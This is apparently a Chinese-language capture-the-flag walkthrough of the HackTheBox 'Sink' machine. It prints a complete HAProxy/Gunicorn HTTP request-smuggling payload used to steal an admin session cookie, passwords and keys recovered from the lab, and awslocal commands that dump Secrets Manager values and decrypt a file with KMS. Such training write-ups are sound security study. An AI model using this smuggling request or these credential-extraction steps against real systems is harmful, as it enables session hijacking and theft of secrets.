HackTheBox-Sink WP

2023-10-22 21:23:59

insane难度初体验 & HTTP Smuggle攻击实操 & 云渗透学习

0x01 信息收集

nmap -sC -sV -v 10.10.10.22

发现端口22、3000、5000开启

访问3000端口，可以看到为某代码托管平台：

目前没有用户名和密码，但是explore可以发现存在的三个账户信息：

目光转向5000端口，注册并进行登录：

对该网站进行探索，发现的交互点如下：

首页最底下的评论功能：

首页的搜索功能：

笔记功能

另外还能发现admin账户的信息：

对这些存在交互的地方测试XSS，SQLi，SSTI，未果。

转变思路，先抓个包看看，可以发现存在的服务器信息，可以发现后端是gunicorn，然后代理使用了haproxy：

0x02 突破口

Google一下，可以看到HAProxy存在HTTP走私漏洞：

对那篇文章进行总结，于此题而言，攻击原理和要点如下：

正常情况下，对TE(Transfer-Encoding)头的优先级高于CL(Content-Length)头
在特殊字符\v的干扰下，haproxy没能识别出TE头，故遵照CL头的指示将构造的数据包中的所有内容发给了后端即Gunicorn。
Gunicorn不受\v的影响，因而将按TE头的指示以chunked的方式处理HTTP数据包。这种不一致造成了HTTP Smuggling攻击。
在实操过程中，默认的Connection头部值为close，我们需要将其改成keep-alive。这样会有更大概率接到admin用户提交的请求。

实操开始，首先建议在burp中开启对不可打印字符的显示：

然后我们在TE头处插入\v ，方法是先用base64编码，然后在Burp中解码：

printf \\x0b | base64
#输出 Cw==

插入\v之后继续构造请求，步骤如下：

按chunked方式构造请求，注意结束块处是0\r\n\r\n
将一个正常的数据包贴在下面，msg留空来接收数据
更改第一个数据包的Connection头部值为keep-alive
更改第二个数据包的CL头为一个较大的值，不然可能拿不到Cookie

构造完成的数据包如下：

POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Length: 793
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.225:5000/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gitea=4218005f51d57007; _csrf=yEJpf7F8mA2tBXrSAu9dix741N86MTYzMjg4MzMxMjczNzA0NTY5MQ; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YVPnOg.hkrTsumKBoyp1jpSwxnWouyrNug
Connection: keep-alive
Transfer-Encoding: chunked

8
msg=test
0

POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Length: 300
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.225:5000/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gitea=4218005f51d57007; _csrf=yEJpf7F8mA2tBXrSAu9dix741N86MTYzMjg4MzMxMjczNzA0NTY5MQ; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YVPnOg.hkrTsumKBoyp1jpSwxnWouyrNug

msg=

发送数据包，拿到Cookie，替换后以admin账户身份登录站点：

在admin的note处可以发现三条凭证信息：

分别如下：

Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C

第二条记录可以让我们登录进3000端口的gitea。

在Explore中，可以看到该代码托管平台中存在的4个repo：

其中，在Key_Management项目下的ec2.php中查看提交的历史记录，可以发现开发人员由于失误上传的私钥文件：

以及aws的access_id和access_secret：

保存私钥，chmod 600 后登录之，成功，拿到user.txt：

0x03 David’s shell

查看一下网络连接状态：

netstat -tulnp #这条命令能够看到docker容器，初步排查后确定这不是我们的关注点

netstat -tulnp | grep 127 # 只看127.0.0.1

可以看到有个4566端口，结合之前我们发现的代码，不难推测上面跑着一个aws服务。

但这个地址有些奇怪，搜一下4566端口，可以发现有个localstack，查找资料后得知这就是一个模拟aws云服务的应用，用于云应用的开发和测试。

然后看下命令，可以发现有aws和awslocal。

aws和awslocal的区别是aws需要指定endpoint，awslocal不用。awslocal会直接和localstack进行对话。

对aws渗透中常见的lambda、cloudwatch、s3api函数进行测试，发现似乎都没开启相应的服务：

awslocal lambda list-functions
awslocal cloudwatch list-dashboards
awslocal s3api list-buckets

由于如上项目与logs有关，使用命令logs模块下的命令对logs进行探索。

如果不清楚命令的话，aws的读命令大多与get、list、describe有关，搜索如下关键字即可快速帮助我们确定命令

awslocal logs help| grep -E 'list|get|describe'

使用命令

awslocal logs describe-log-groups

可以找到一个log-group

进一步通过该log-group，可以找到一个log-stream

awslocal logs describe-log-streams --log-group-name cloudtrail

再进一步查看，得到一些有意思的事件名称：

awslocal logs get-log-events --log-group-name cloudtrail --log-stream-name 20201222

Google一下，可以发现和aws的Secrets Manager有关：

同时aws的cli也有该命令

同样地，先看看有用的命令：

awslocal secretsmanager help| grep -E 'list|get|describe'

然后使用之前泄露的access_id和access_secret进行配置：

配置之后尝试列出所有的secrets：

awslocal secretsmanager list-secrets

之后分别拿到secrets的value值：

awslocal secretsmanager get-secret-value --secret-id 'Jenkins Login'
awslocal secretsmanager get-secret-value --secret-id 'Sink Panel'
awslocal secretsmanager get-secret-value --secret-id 'Jira Support'

对具有登录权限的用户进行查看，发现有root、marcus、david。刚好上面拿到的账号中也有一个david。

使用密码登录，拿到david的shell：

0x04 提权至root

在david家目录的某个文件夹底下能够发现一个servers.enc文件：

那就想着法子解密咯。回到之前的gitea，在Key_Management目录下能够发现有一个keys.php，可以看出它在与aws的kms服务进行交互：

Google一下，可以发现是aws的密钥管理服务，里面可能有我们想要的东西：

回到服务器，查看可用的命令：

awslocal kms help| grep -E 'get|describe|list'

首先看下存在的密钥：

awslocal kms list-keys

先查看某一密钥的详细信息：

awslocal kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac

可以观察到有一Keystate字样，我们需要查找Keystate为Enabled的密钥。

写个简单的shell语句进行查找：

for i in $(awslocal kms list-keys | grep KeyId | awk -F\" '{print $4;}'); do awslocal kms describe-key --key-id $i | grep -E 'KeyId|Enabled' ; echo; done;

对State为Enabled状态的key进行查看：

awslocal kms describe-key --key-id 804125db-bdf1-465a-a058-07fc87c0fad0
awslocal kms describe-key --key-id c5217c17-5675-42f7-a6ec-b5aa9b9dbbde

我们使用第一个命令对得到的文件进行解密。首先使用help命令查看decrypt方法的使用

aws kms decrypt help

对着example构造我们的语句即可：

awslocal kms decrypt --ciphertext-blob fileb://servers.enc --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --encryption-algorithm RSAES_OAEP_SHA_256

将得到的base64语句解码放进文件里，并使用file命令查看文件类型：

echo <base64code> | base64 -d > result
file result

解压后继续查看文件类型：

mv result result.gz
gzip -d result.gz
ll
file result

继续解压即可拿到密码：

mv result result.tar
tar -xvf result
cat servers.yml

拿到此密码即可登录root用户：

码农公寓

0x01 信息收集

0x02 突破口

0x03 David’s shell

0x04 提权至root

相关文章